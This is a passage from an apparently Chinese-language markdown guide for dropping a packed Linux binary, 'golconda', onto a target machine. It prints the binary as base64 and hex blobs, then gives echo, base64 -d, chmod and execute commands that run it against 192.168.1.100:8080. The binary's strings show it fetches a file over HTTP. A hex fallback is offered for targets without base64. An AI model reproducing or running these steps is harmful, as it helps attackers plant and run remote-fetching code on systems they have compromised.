7f/bABBZVF9qClnzSKVIgz4ABXX4SYn+SKu2dLPLDPwKDPb/Av7fbv/1TSn8uv8PN1dejHvtallYDwWFwHkF22//3w5qD1iR/UmNff+wAKoadA7/86Q77/9v2/YDxwcgAD04Pgzn+EyJ+Ugp4YnIMW/bW/74g/AIg+AIx28mCDh3+Ej/7f/vwekDiY1nCPxLjQwmi0P8IwFIAcFBWV5ft+3WvlivCHe54lAzxQLo6Ib/ 212 | ``` 213 | 214 | ``` 215 | 2N1QBg6BxAgVRCQgW0mLtaAs7c1gb2Xv6GEHZYXbeB+2++7v/8lBidhqAllqAVq+9yn/6AUAid/oOgZ9+4WtX74LGf9m+LAJWcoPtsDd9+2/1Ug9APD//3IEncj/w7nyIbzPmu53b47O6RQxsDzrArAMAwMC7pumaQsKAQDrvMzDJHb/9oVRdxdMi0fnjUr/cwq/fxLow//WfttU/1P5/3QRQWe4/8lJ/8CIBts3bG8HxuvpW1cSF1jDQVWF1V5ot9tBVATMVdn9UwMWg+wovTe4H4oPhOZEXyQQugwJF7Zb1+OWUYv/EIsUFIt1Fb7rbv+B/lVQWCF1ES99ADC1JusEhfZ1tv+7wYBCLjnGd/KJwkg7E3frCkjrbrcXaAhzbElUJH2LfaxMCOsWtm5EUBgSwhPVUsZet3Zr7khfHC51uLchGYR74bf/yQ+VwjHATYXkB8CFwnQdiv4AAl+2rX1hdzk5M3UPI04aBMk1W7fdNXsIRNRAFN5FRV/3zb2MDYnytwLG6Nv+ulRbAwpb22wdU9BIbhgDYne0/xElxChbXUFcQV3DFXvRdDaGv7D9QPbHAXUwLQ/M8Ew5wXQSSVs4a+4BD5SH34YI9QcCwrdSd08IMskQHscQ69BP4YcOx1e8+FVT/FVTTe5x275oTANnICP2S4QkNP3Wtra1PHjhQATcMEGv7Rdu7ihMCSKLOKe3VxB0TAlu/De2Rw0BpSt4SGaD+gJ1GYt4wjsa77hwKEUxWyQx0rkym71t/zgEPo5I6LD9w2YZfxACOvfmvnTGD4WsHCr26aQHQAOm1n38Vji5hLgDACMehf/b9uYPRMiczUvbMf+DwSL/yngh9Lj9tm3xFmZGajnoSA9CAwNGWPjW3Qk5wwrYKcY469t35bbHtvCpO+sJw6cG43rbsP0Q9sG0BWfrE+btdQ43CttWdV7HphCw3EXIt7m3ZLMg3ugHqAfHuba/v1MDjrxJKe66OADHDByFzbDxnkfA3HF8Id4m/O0AdCMaPCQGdRxJuxMwvgN4bsOfcAHy6FLR6X4qInxd112ahXMKSTUoQWcWi27/3y1UBFQYQGJRc4PhB8HhAtNsDYNku/QG2wMHXUsv1HVDXuzQ/StJA1cg6O+uSTwaORns4wXU2xM2BIKhdefHDhAEzZw+bAstCeEgR/fHifpouAibW4HiMfJ838eN1lIWfynVBlASENhM7k8ETI0sNzUMSVittjBbMgKkQvAunbM/XrL7DWO/g8r/EznHxt11Br08sRKp0O5BFzZ8uoaJwa6Z+205xRogAVuMNglQGSBrMSjfdX9P21DFQOj1KfaCAnQWRInt9xuu6c7m99n8geGy86pOewZ3sP19hODaU/VRb+G3abg6/wHsIwTIugldhGV7A3LQmANlSfgFd3NvkDtUdPUKSo0cMG3Cf+8h2PfYJVuD+AN3OoQZh+7D+FwxDHQtLv+5IkG6jXJ/LwJFdFzoxPrUW+DmfrrD 216 | ``` 217 | 218 | ``` 219 | dDc4iccDQloMgRbhcBK6no8ba7RFeGy0Jtt0E6YR2sJY76APF/7oHPwHGCdgbe4hJIsoTnSy3FuN3Y8NTDsmpidMKQYRXiz3KpKRl9toC90D7j0oSVt1Erh72+S2YEc4xsQ4OQwPjECt3YL05e0rME3jbq7fZm0caGEQ8EFeQV8p0OUWWiZYzu4rTZXaGyN/1QFtQFMgcjbGY2s1PwcHDCgXtvcw9rwkgNh0RnTQmDhH2/rYKcI8MC4EFH3b7hg3NsAMTeglnUFTVeF3YNtKdmPYJ/EFN9vYhlsodehZ674JTcIZ97qBK20fxJYS+kFa5k5G2ix9hwyPBfRdWniB2gN1csU/EX0Q/XZ4oU5G6Hf5MaV4F7oABIS3u/RG7tHochRIPQ9K4VeiO0QRSZRKQVBDGiJ0mwLA7FeJQNLBDfZ+ixe+IIaAErqFhhKuEziGVwxWTuB2mkXFC4JxqUjQIkzYLeBKRz0sMRLfOeVTUlZXgltgUPitgRsMSwmTCwdTCos26CvAYvsSWDHD2gq0S7RSWT9XVmosNPCFJrXGdAHwUFdJyY3/7Q9R606LHgfu/BHbihbzwwGC/791tPAF+i9+BYoQdiCD/fx3G4PpBIFvu4eLrgQIiRcdfwRz74WVaOJtBB90D0ikF6sL2wKuChWP8Tv8FggSpRNLT9pb9rxlt7a1HATHWVd1Cme9sLf4cuaNQQ4S/8gWEcD79n+RD3POg+gDch3B4GC20gnQXVt/qZAtloQ39e//0bZj+yHdC9RD6w4xCHIz/8EPAxuyCSNfyR0wsi3ac+LSrxAieOA7bjT9AG+D0QLo5cIwkGUrZNbU5AXMII/kihtS9D5hAezrDsQPdSP/wTxPlsro1gHoDj5slSyDArbC8kieoeAXj/MEsJW5wD7Bt8g2GhFtAsTBgEj32/O0EcHoTf3AVAAAAAAAAEAC/wAAAD4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/PgMAAA4AAAACAAAAAIkKkgAAAAAAAACABP8+AwAADgAAAAIAAAAAiQqSAAAAAAAAAIAE/z4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/IAIAAA4AAAACAAAAAKECkAAAAAAAAACABP8+AwAADgAAAAIAAAAAiQqSAAAAAAAAAIAE/z4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/PgMAAA4AAAACAAAAAIkKkgAAAAAAAACABP8IAwAADgAAAAIAAAAAIQCSAAAAAAAAAIAE/10BAABsAAAAAgAAANrt2/8ALnNoc3RydGFiCXRleHQFZGEMdFNl3wVic3MAAAsDAWfBHtYGEBBABwY+kCG7sAMvED8RnQ02WSYgPyAGe9YN2ZAvBA8XAwg/OcggA3x7LEIBS9giewDAAthhPxwvAAAAAMAAIAEA/wAAAABVUFghAAAAAAAAVVBYIQ4WAgqNQEv/jHpCHtghAABYEQAA2CEAAAAAACa8AAAA 220 | ``` 221 | 222 | ### 2. 部署脚本 223 | 224 | 使用以下命令,将[BASE64_PART_X]替换为对应的base64字符串: 225 | 226 | ```bash 227 | # 第一段 228 | echo -n "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAGHVAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAGAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAABAAAAAAAACoYgAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAAAAAAAAAAABwQAAAAAAAAHBAAAAAAADlDwAAAAAAAOUPAAAAAAAAABAAAAAAAAAM7SCNVVBYIdwKDhYAAAAA2CEAAD4DAADoAAAAZQAAAAIAAAAd+yH/f0VMRgIBAQACAD4ADRBAS/I2iw8FAJggABOBHbt7OAADBQUABCsEAAAtIU/YQAfoAABXYQH7ZgY3BQ9vYAn5sAc+AwA3E/awdwYIjyBAB3sALOxgFqhCNwAAAAAAAAAS/z4DAAA+AwAAAAAAAFhIg/gDD4W1AQAAWFhJicZYSYnHTIn2SL+QYEAAAAAAAOgPAgAATIn+SL+gYEAAAAAAAOj9AQAASL+gYEAAAAAAAOhZAgAASIXAD4S+AQAASL+QYEAAAAAAAOh9AgAASIXAD4R/AQAAuCkAAAC/AgAAAL4BAAAASDHSDwVJicRmxwQlfCBAAAIASL+gYEAAAAAAAOiuAQAAhsRmiQQlfiBAAEi/kGBAAAAAAABIvoAgQAAAAAAA6KwBAABIMcBIiQQlhCBAALgqAAAATInnSL58IEAAAAAAALoQAAAADwW4LAAAAEyJ50i+ACBAAAAAAAC6AAIAAE0x0k0xwE0xyQ8FuAIAAABIvzYgQAAAAAAAvkIAAAC6pAEAAA8FSYnFTTH2uAAAAABMiedIvowgQAAAAAAAugBAAAAPBUiFwH5iSYnHTYX2dUFIuYwgQAAAAAAASInKTAH6SDnRfcWBOQ0KDQp0BUj/wevuQb4BAAAASIPBBEiJzki6jCBAAAAAAABMAfpIKcrrDUi+jCBAAAAAAABMifq4AQAAAEyJ7w8F64C4AwAAAEyJ7w8FuAMAAABMiecPBbg8AAAASDH/DwW/AQAAAEi+OyBAAAAAAAC6GgAAALgBAAAADwW4PAAAAL8BAAAADwW/AQAAAEi+UiBAAAAAAAC6EgAAALgBAAAADwW4PAAAAL8BAAAADwW/AQAAAEi+ZiBAAAAAAAC6EwAAALgBAAAADwW4PAAAAL8BAAAADwVIMcmKBA6IBA9I/8GEwHXzw0gxwEgxyUgPthQPSIXSdBBIg+owSGvACkgB0Ej/wevmw0gxwEgxyUgx0kwPtgQPTYXAdCNJg/gudBBJg+gwSGvSCkwBwkj/wevgiBZI/8ZIMdJI/8Hr04gWw0gxwEgxyUgx0kwPtgQPTYXAdBZJg+gwSYP4CXcbSGvSCkwBwkj/wevgSIH6//8AAHcGuAEAAADDSDHAw0gxwEgxyUgx0kG5AAAAAEwPtgQPTYXAdDBJg/gudBZJg+gwSYP4CXc1SGvSCkwBwkj/wevaSIH6/wAAAHcg" > /tmp/b64.tmp 229 | 230 | # 第二段 231 | echo -n "Sf/BSDHSSP/B68ZJg/kDdQ9Igfr/AAAAdwa4AQAAAMNIMcDDewAAAHsAAAAAAAAAR0VUIC93Z2V0IEhUVFAvMS4xDQpIb3N0OiAlczolcw0KQ29ubmVjdGlvbjogY2xvc2UNCg0Kd2dldABVc2FnZTogJXMgPGlwPiA8cG9ydD4KAEludmFsaWQgSVAgYWRkcmVzcwoASW52YWxpZCBwb3J0IG51bWJlcgoAAAAAAAAAyAAAABQFAABQUuhpAgAAVVNRUkgB/lZIKf5Iif5Iidcx2zHJSIPN/+hQAAAAAdt0AvPDix5Ig+78EduKFvPDSI0EL4P5BYoQdiFIg/38dxuD6QSLEEiDwASD6QSJF0iNfwRz74PBBIoQdBBI/8CIF4PpAYoQSI1/AXXw88P8QVtBgPgCD4WHAAAA6whI/8aIF0j/x4oWAdt1CoseSIPu/BHbihZy5o1BAUH/0xHAAdt1CoseSIPu/BHbihZz64PoA3IXweAID7bSCdBI/8aD8P8PhDwAAABIY+iNQQFB/9MRyUH/0xHJdRiJwYPAAkH/0xHJAdt1CIseSIPu/BHbc+1Igf0A8///EcHoMP///+uDV15ZSInwSCnIWkgp11mJOVtdw2geAAAAWugeAAAAUFJPVF9FWEVDfFBST1RfV1JJVEUgZmFpbGVkLgoAXmoCX2oBWA8Fan9fajxYDwUKACRJbmZvOiBUaGlzIGZpbGUgaXMgcGFja2VkIHdpdGggdGhlIFVQWCBleGVjdXRhYmxlIHBhY2tlciBodHRwOi8vdXB4LnNmLm5ldCAkCgAkSWQ6IFVQWCA0LjIyIENvcHlyaWdodCAoQykgMTk5Ni0yMDI0IHRoZSBVUFggVGVhbS4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4gJAoAkF8p9moCWA8FUEiNtw8AAACtg+D+QYnGVluLFkiNjfX///9EizlMKflFKfdJAc5fUlBXUU0pyUGDyP9qIkFaUl5qA1op/2oJWA8FSIlEJBBQWlNerVBIieFJidWtUK1BkEiJ917/1VlIi3QkGEiLfCQQagVaagpYDwVB/+Vd6H7///8vcHJvYy9zZWxmL2V4ZQDIAAAAFQwAADgIAAACAAAA////5ehKAIP5SXVEU1dIjUw3/V5WW+svSDnOczJWXv/7//+sPIByCjyPdwaAfv4PdAYs6DwBd+QbFlatKNB1//+//99fD8gp+AHYqxIDrOvfW8NYQVZBV1BIieZIgez+7f/bABBZVF9qClnzSKVIgz4ABXX4SYn+SKu2dLPLDPwKDPb/Av7fbv/1TSn8uv8PN1dejHvtallYDwWFwHkF22//3w5qD1iR/UmNff+wAKoadA7/86Q77/9v2/YDxwcgAD04Pgzn+EyJ+Ugp4YnIMW/bW/74g/AIg+AIx28mCDh3+Ej/7f/vwekDiY1nCPxLjQwmi0P8IwFIAcFBWV5ft+3WvlivCHe54lAzxQLo6Ib/" >> /tmp/b64.tmp 232 | 233 | # 第三段 234 | echo -n "2N1QBg6BxAgVRCQgW0mLtaAs7c1gb2Xv6GEHZYXbeB+2++7v/8lBidhqAllqAVq+9yn/6AUAid/oOgZ9+4WtX74LGf9m+LAJWcoPtsDd9+2/1Ug9APD//3IEncj/w7nyIbzPmu53b47O6RQxsDzrArAMAwMC7pumaQsKAQDrvMzDJHb/9oVRdxdMi0fnjUr/cwq/fxLow//WfttU/1P5/3QRQWe4/8lJ/8CIBts3bG8HxuvpW1cSF1jDQVWF1V5ot9tBVATMVdn9UwMWg+wovTe4H4oPhOZEXyQQugwJF7Zb1+OWUYv/EIsUFIt1Fb7rbv+B/lVQWCF1ES99ADC1JusEhfZ1tv+7wYBCLjnGd/KJwkg7E3frCkjrbrcXaAhzbElUJH2LfaxMCOsWtm5EUBgSwhPVUsZet3Zr7khfHC51uLchGYR74bf/yQ+VwjHATYXkB8CFwnQdiv4AAl+2rX1hdzk5M3UPI04aBMk1W7fdNXsIRNRAFN5FRV/3zb2MDYnytwLG6Nv+ulRbAwpb22wdU9BIbhgDYne0/xElxChbXUFcQV3DFXvRdDaGv7D9QPbHAXUwLQ/M8Ew5wXQSSVs4a+4BD5SH34YI9QcCwrdSd08IMskQHscQ69BP4YcOx1e8+FVT/FVTTe5x275oTANnICP2S4QkNP3Wtra1PHjhQATcMEGv7Rdu7ihMCSKLOKe3VxB0TAlu/De2Rw0BpSt4SGaD+gJ1GYt4wjsa77hwKEUxWyQx0rkym71t/zgEPo5I6LD9w2YZfxACOvfmvnTGD4WsHCr26aQHQAOm1n38Vji5hLgDACMehf/b9uYPRMiczUvbMf+DwSL/yngh9Lj9tm3xFmZGajnoSA9CAwNGWPjW3Qk5wwrYKcY469t35bbHtvCpO+sJw6cG43rbsP0Q9sG0BWfrE+btdQ43CttWdV7HphCw3EXIt7m3ZLMg3ugHqAfHuba/v1MDjrxJKe66OADHDByFzbDxnkfA3HF8Id4m/O0AdCMaPCQGdRxJuxMwvgN4bsOfcAHy6FLR6X4qInxd112ahXMKSTUoQWcWi27/3y1UBFQYQGJRc4PhB8HhAtNsDYNku/QG2wMHXUsv1HVDXuzQ/StJA1cg6O+uSTwaORns4wXU2xM2BIKhdefHDhAEzZw+bAstCeEgR/fHifpouAibW4HiMfJ838eN1lIWfynVBlASENhM7k8ETI0sNzUMSVittjBbMgKkQvAunbM/XrL7DWO/g8r/EznHxt11Br08sRKp0O5BFzZ8uoaJwa6Z+205xRogAVuMNglQGSBrMSjfdX9P21DFQOj1KfaCAnQWRInt9xuu6c7m99n8geGy86pOewZ3sP19hODaU/VRb+G3abg6/wHsIwTIugldhGV7A3LQmANlSfgFd3NvkDtUdPUKSo0cMG3Cf+8h2PfYJVuD+AN3OoQZh+7D+FwxDHQtLv+5IkG6jXJ/LwJFdFzoxPrUW+DmfrrD" >> /tmp/b64.tmp 235 | 236 | # 第四段 237 | echo -n "dDc4iccDQloMgRbhcBK6no8ba7RFeGy0Jtt0E6YR2sJY76APF/7oHPwHGCdgbe4hJIsoTnSy3FuN3Y8NTDsmpidMKQYRXiz3KpKRl9toC90D7j0oSVt1Erh72+S2YEc4xsQ4OQwPjECt3YL05e0rME3jbq7fZm0caGEQ8EFeQV8p0OUWWiZYzu4rTZXaGyN/1QFtQFMgcjbGY2s1PwcHDCgXtvcw9rwkgNh0RnTQmDhH2/rYKcI8MC4EFH3b7hg3NsAMTeglnUFTVeF3YNtKdmPYJ/EFN9vYhlsodehZ674JTcIZ97qBK20fxJYS+kFa5k5G2ix9hwyPBfRdWniB2gN1csU/EX0Q/XZ4oU5G6Hf5MaV4F7oABIS3u/RG7tHochRIPQ9K4VeiO0QRSZRKQVBDGiJ0mwLA7FeJQNLBDfZ+ixe+IIaAErqFhhKuEziGVwxWTuB2mkXFC4JxqUjQIkzYLeBKRz0sMRLfOeVTUlZXgltgUPitgRsMSwmTCwdTCos26CvAYvsSWDHD2gq0S7RSWT9XVmosNPCFJrXGdAHwUFdJyY3/7Q9R606LHgfu/BHbihbzwwGC/791tPAF+i9+BYoQdiCD/fx3G4PpBIFvu4eLrgQIiRcdfwRz74WVaOJtBB90D0ikF6sL2wKuChWP8Tv8FggSpRNLT9pb9rxlt7a1HATHWVd1Cme9sLf4cuaNQQ4S/8gWEcD79n+RD3POg+gDch3B4GC20gnQXVt/qZAtloQ39e//0bZj+yHdC9RD6w4xCHIz/8EPAxuyCSNfyR0wsi3ac+LSrxAieOA7bjT9AG+D0QLo5cIwkGUrZNbU5AXMII/kihtS9D5hAezrDsQPdSP/wTxPlsro1gHoDj5slSyDArbC8kieoeAXj/MEsJW5wD7Bt8g2GhFtAsTBgEj32/O0EcHoTf3AVAAAAAAAAEAC/wAAAD4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/PgMAAA4AAAACAAAAAIkKkgAAAAAAAACABP8+AwAADgAAAAIAAAAAiQqSAAAAAAAAAIAE/z4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/IAIAAA4AAAACAAAAAKECkAAAAAAAAACABP8+AwAADgAAAAIAAAAAiQqSAAAAAAAAAIAE/z4DAAAOAAAAAgAAAACJCpIAAAAAAAAAgAT/PgMAAA4AAAACAAAAAIkKkgAAAAAAAACABP8IAwAADgAAAAIAAAAAIQCSAAAAAAAAAIAE/10BAABsAAAAAgAAANrt2/8ALnNoc3RydGFiCXRleHQFZGEMdFNl3wVic3MAAAsDAWfBHtYGEBBABwY+kCG7sAMvED8RnQ02WSYgPyAGe9YN2ZAvBA8XAwg/OcggA3x7LEIBS9giewDAAthhPxwvAAAAAMAAIAEA/wAAAABVUFghAAAAAAAAVVBYIQ4WAgqNQEv/jHpCHtghAABYEQAA2CEAAAAAACa8AAAA" >> /tmp/b64.tmp 238 | 239 | # 最后执行 240 | base64 -d /tmp/b64.tmp > /tmp/golconda && chmod +x /tmp/golconda && rm -f /tmp/b64.tmp && /tmp/golconda 192.168.1.100 8080 241 | ``` 242 | 243 | ### 3. 可选的HEX方案 244 | 如果目标没有base64命令,使用十六进制方案: 245 | 246 | ```bash 247 | # 在本地生成hex 248 | xxd -p golconda | tr -d '\n' > golconda.hex 249 | 250 | # 分割hex文件 251 | split -n 4 golconda.hex hex_part_ 252 | ``` 253 | 254 | ``` 255 | 7f454c4602010100000000000000000002003e00010000001875400000000000400000000000000000000000000000000000000040003800020000000000000001000000060000000000000000000000000040000000000000004000000000000010000000000000a86200000000000000100000000000000100000005000000000000000000000000704000000000000070400000000000e50f000000000000e50f00000000000000100000000000000ced208d55505821dc0a0e1600000000d82100003e030000e800000065000000020000001dfb21ff7f454c460201010002003e000d10404bf2368b0f050098200013811dbb7b380003050500042b0400002d214fd84007e80000576101fb660637050f6f6009f9b0073e03003713f6b07706088f2040077b002cec6016a842370000000000000012ff3e0300003e03000000000000584883f8030f85b501000058584989c6584989c74c89f648bf9060400000000000e80f0200004c89fe48bfa060400000000000e8fd01000048bfa060400000000000e8590200004885c00f84be01000048bf9060400000000000e87d0200004885c00f847f010000b829000000bf02000000be010000004831d20f054989c466c704257c204000020048bfa060400000000000e8ae01000086c4668904257e20400048bf906040000000000048be8020400000000000e8ac0100004831c04889042584204000b82a0000004c89e748be7c20400000000000ba100000000f05b82c0000004c89e748be0020400000000000ba000200004d31d24d31c04d31c90f05b80200000048bf3620400000000000be42000000baa40100000f054989c54d31f6b8000000004c89e748be8c20400000000000ba004000000f054885c07e624989c74d85f6754148b98c204000000000004889ca4c01fa4839d17dc581390d0a0d0a740548ffc1ebee41be010000004883c1044889ce48ba8c204000000000004c01fa4829caeb0d48be8c204000000000004c89fab8010000004c89ef0f05eb80b8030000004c89ef0f05b8030000004c89e70f05b83c0000004831ff0f05bf0100000048be3b20400000000000ba1a000000b8010000000f05b83c000000bf010000000f05bf0100000048be5220400000000000ba12000000b8010000000f05b83c000000bf010000000f05bf0100000048be6620400000000000ba13000000b8010000000f05b83c000000bf010000000f054831c98a040e88040f48ffc184c075f3c34831c04831c9480fb6140f4885d274104883ea30486bc00a4801d048ffc1ebe6c34831c04831c94831d24c0fb6040f4d85c074234983f82e74104983e830486bd20a4c01c248ffc1ebe0881648ffc64831d248ffc1ebd38816c34831c04831c94831d24c0fb6040f4d85c074164983e8304983f809771b486bd20a4c01c248ffc1ebe04881faffff00007706b801000000c34831c0c34831c04831c94831d241b9000000004c0fb6040f4d85c074304983f82e74164983e8304983f8097735486bd20a4c01c248ffc1ebda4881faff000000772049ffc14831d248ffc1ebc64983f903750f4881faff0000007706b801000000c34831c0c37b0000007b00000000000000474554202f7767657420485454502f312e310d0a486f73743a2025733a25730d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a776765740055736167653a202573203c69703e203c706f72743e0a00496e76616c696420495020616464726573730a00496e76616c696420706f7274206e756d6265720a00000000000000c8000000140500005052e869020000555351524801fe564829fe4889fe4889d731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415b4180f8020f8587000000eb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843c0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e830ffffffeb83575e594889f04829c85a4829d75989395b5dc3681e0000005ae81e00000050524f545f455845437c50524f545f5752495445206661696c65642e0a005e6a025f6a01580f056a7f5f6a3c580f050a0024496e666f3a20546869732066696c65206973207061636b6564207769746820746865205550582065786563757461626c65207061636b657220687474703a2f2f7570782e73662e6e657420240a002449643a2055505820342e323220436f707972696768742028432920313939362d323032342074686520555058205465616d2e20416c6c205269676874732052657365727665642e20240a00905f29f66a02580f0550488db70f000000ad83e0fe4189c6565b8b16488d8df5ffffff448b394c29f94529f74901ce5f525057514d29c94183c8ff6a22415a525e6a035a29ff6a09580f054889442410505a535ead504889e14989d5ad50ad41904889f75effd559488b742418488b7c24106a055a6a0a580f0541ffe55de87effffff2f70726f632f73656c662f65786500c8000000150c00003808000002000000ffffffe5e84a0083f94975445357488d4c37fd5e565beb2f4839ce7332565efffbffffac3c80720a3c8f7706807efe0f74062ce83c0177e41b1656ad28d075ffffbfffdf5f0fc829f801d8ab1203acebdf5bc35841564157504889e64881ecfeedffdb001059545f6a0a59f348a548833e000575f84989fe48abb674b3cb0cfc0a0cf6ff02fedf6efff54d29fcbaff0f37575e8c7bed6a59580f0585c07905db6fffdf0e6a0f5891fd498d7dffb000aa1a740efff3a43befff6fdbf603c70720003d383e0ce7f84c89f94829e189c8316fdb5bfef883f00883e008c76f26083877f848ffedffefc1e903898d6708fc4b8d0c268b43fc23014801c141595e5fb7edd6be58af0877b9e25033c502e8e886ffd8dd50060e81c408154424205b498bb5a02cedcd606f65efe861076585db781fb6fbeeefffc94189d86a02596a015abef729ffe8050089dfe83a067dfb85ad5fbe0b19ff66f8b00959ca0fb6c0ddf7edbfd5483d00f0ffff72049dc8ffc3b9f221bccf9aee776f8ecee91431b03ceb02b00c030302ee9ba6690b0a0100ebbcccc32476fff6855177174c8b47e78d4aff730abf7f12e8c3ffd67edb54ff53f9ff74114167b8ffc949ffc08806db376c6f07c6ebe95b57121758c3415585d55e68b7db415404cc55d9fd53031683ec28bd37b81f8a0f84e6445f2410ba0c0917b65bd7e396518bff108b14148b7515beeb6eff81fe5550582175112f7d0030b526eb0485f675b6ffbbc180422e39c677f289c2483b1377eb0a48eb6eb7176808736c4954247d8b7dac4c08eb16b66e44501812c213d552c65eb7766bee485f1c2e75b8b72119847be1b7ffc90f95c231c04d85e407c085c2741d8afe00025fb6ad7d6177393933750f234e1a04c9355bb7dd357b0844d44014de45455ff7cdbd8c0d89f2b702c6e8dbfeba545b030a5bdb6c1d53d0486e18036277b4ff1125c4285b5d415c415dc3157bd1743686bfb0fd40f6c70175302d0fccf04c39c17412495b386bee010f9487df8608f50702c2b752774f0832c9101ec710ebd04fe1870ec757bcf85553fc55534dee71dbbe684c03672023f64b842434fdd6b6b6b53c78e14004dc3041afed176eee284c09228b38a7b75710744c096efc37b6470d01a52b78486683fa0275198b78c23b1aefb8702845315b2431d2b9329bbd6dff38043e8e48e8b0fdc366197f10023af7e6be74c60f85ac1c2af6e9a4074003a6d67dfc5638b984b80300231e85ffdbf6e60f44c89ccd4bdb31ff83c122ffca7821f4b8fdb66df11666466a39e8480f4203034658f8d6dd0939c30ad829c638ebdb77e5b6c7b6f0a93beb09c3a706e37adbb0fd10f6c1b40567eb13e6ed750e370adb56755ec7a610b0dc45c8b7b9b764b320dee807a807c7b9b6bfbf53038ebc4929eeba3800c70c1c85cdb0f19e47c0dc717c21de26fced0074231a3c2406751c49bb1330be03786ec39f7001f2e852d1e97e2a227c5dd75d9a85730a4935284167168b6effdf2d540454184062517383e107c1e102d36c0d8364bbf406db03075d4b2fd475435eecd0fd2b49035720e8efae493c1a3919ece305d4db13360482a175e7c70e1004cd9c3e6c0b2d09e12047f7c789fa68b8089b5b81e231f27cdfc78dd652167f29d506501210d84cee4f044c8d2c37350c4958adb6305b3202a442f02e9db33f5eb2fb0d63bf83caff1339c7c6dd7506bd3cb112a9d0ee4117367cba8689c1ae99fb6d39c51a20015b8c36095019206b3128df757f4fdb50c540e8f529f6820274164489edf71baee9cee6f7d9fc81e1b2f3aa4e7b0677b0fd7d84e0da53f5516fe1b769b83aff01ec2304c8ba095d84657b0372d098036549f80577736f903b5474f50a4a8d1c306dc27fef21d8f7d8255b83f803773a841987eec3f85c310c742d2effb92241ba8d727f2f0245745ce8c4fad45be0e67ebac374373889c703425a0c8116e17012ba9e8f1b6bb445786cb426db7413a611dac258efa00f17fee81cfc071827606dee21248b284e74b2dc5b8ddd8f0d4c3b26a6274c2906115e2cf72a929197db680bdd03ee3d28495b7512b87bdbe4b6604738c6c438390c0f8c40addd82f4e5ed2b304de36eaedf666d1c686110f0415e415f29d0e5165a2658ceee2b4d95da1b237fd5016d4053207236c6636b353f07070c2817b6f730f6bc2480d8744674d0983847dbfad829c23c302e04147ddbee183736c00c4de8259d415355e17760db4a7663d827f10537dbd8865b2875e859ebbe094dc219f7ba812b6d1fc49612fa415ae64e46da2c7d870c8f05f45d5a7881da037572c53f117d10fd7678a14e46e877f931a57817ba000484b7bbf446eed1e87214483d0f4ae157a23b441149944a4150431a22749b02c0ec578940d2c10df67e8b17be20868012ba858612ae133886570c564ee0769a45c50b8271a948d0224cd82de04a473d2c3112df39e553525657825b6050f8ad811b0c4b09930b07530a8b36e82bc062fb125831c3da0ab44bb452593f57566a2c34f08526b5c67401f0505749c98dffed0f51eb4e8b1e07eefc11db8a16f3c30182ffbf75b4f005fa2f7e058a10762083fdfc771b83e904816fbb878bae040889171d7f0473ef859568e26d041f740f48a417ab0bdb02ae0a158ff13bfc160812a5134b4fda5bf6bc65b7b6b51c04c75957750a67bdb0b7f872e68d410e12ffc81611c0fbf67f910f73ce83e803721dc1e060b6d209d05d5b7fa9902d968437f5efffd1b663fb21dd0bd443eb0e31087233ffc10f031bb209235fc91d30b22dda73e2d2af102278e03b6e34fd006f83d102e8e5c23090652b64d6d4e405cc208fe48a1b52f43e6101eceb0ec40f7523ffc13c4f96cae8d601e80e3e6c952c8302b6c2f2489ea1e0178ff304b095b9c03ec1b7c8361a116d02c4c18048f7dbf3b411c1e84dfdc0540000000000004002ff0000003e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff200200000e0000000200000000a10290000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff3e0300000e0000000200000000890a92000000000000008004ff080300000e0000000200000000210092000000000000008004ff5d0100006c00000002000000daeddbff002e736873747274616209746578740564610c745365df0562737300000b030167c11ed60610104007063e9021bbb0032f103f119d0d365926203f20067bd60dd9902f040f1703083f39c820037c7b2c42014bd8227b00c002d8613f1c2f00000000c000200100ff0000000055505821000000000000555058210e16020a8d404bff8c7a421ed821000058110000d821000000000026bc000000 256 | ``` 257 | 258 | 分段 259 | 260 | ``` 261 | 7f454c4602010100000000000000000002003e00010000001875400000000000400000000000000000000000000000000000000040003800020000000000000001000000060000000000000000000000000040000000000000004000000000000010000000000000a86200000000000000100000000000000100000005000000000000000000000000704000000000000070400000000000e50f000000000000e50f00000000000000100000000000000ced208d55505821dc0a0e1600000000d82100003e030000e800000065000000020000001dfb21ff7f454c460201010002003e000d10404bf2368b0f050098200013811dbb7b380003050500042b0400002d214fd84007e80000576101fb660637050f6f6009f9b0073e03003713f6b07706088f2040077b002cec6016a842370000000000000012ff3e0300003e03000000000000584883f8030f85b501000058584989c6584989c74c89f648bf9060400000000000e80f0200004c89fe48bfa060400000000000e8fd01000048bfa060400000000000e8590200004885c00f84be01000048bf9060400000000000e87d0200004885c00f847f010000b829000000bf02000000be010000004831d20f054989c466c704257c204000020048bfa060400000000000e8ae01000086c4668904257e20400048bf906040000000000048be8020400000000000e8ac0100004831c04889042584204000b82a0000004c89e748be7c20400000000000ba100000000f05b82c0000004c89e748be0020400000000000ba000200004d31d24d31c04d31c90f05b80200000048bf3620400000000000be42000000baa40100000f054989c54d31f6b8000000004c89e748be8c20400000000000ba004000000f054885c07e624989c74d85f6754148b98c204000000000004889ca4c01fa4839d17dc581390d0a0d0a740548ffc1ebee41be010000004883c1044889ce48ba8c204000000000004c01fa4829caeb0d48be8c204000000000004c89fab8010000004c89ef0f05eb80b8030000004c89ef0f05b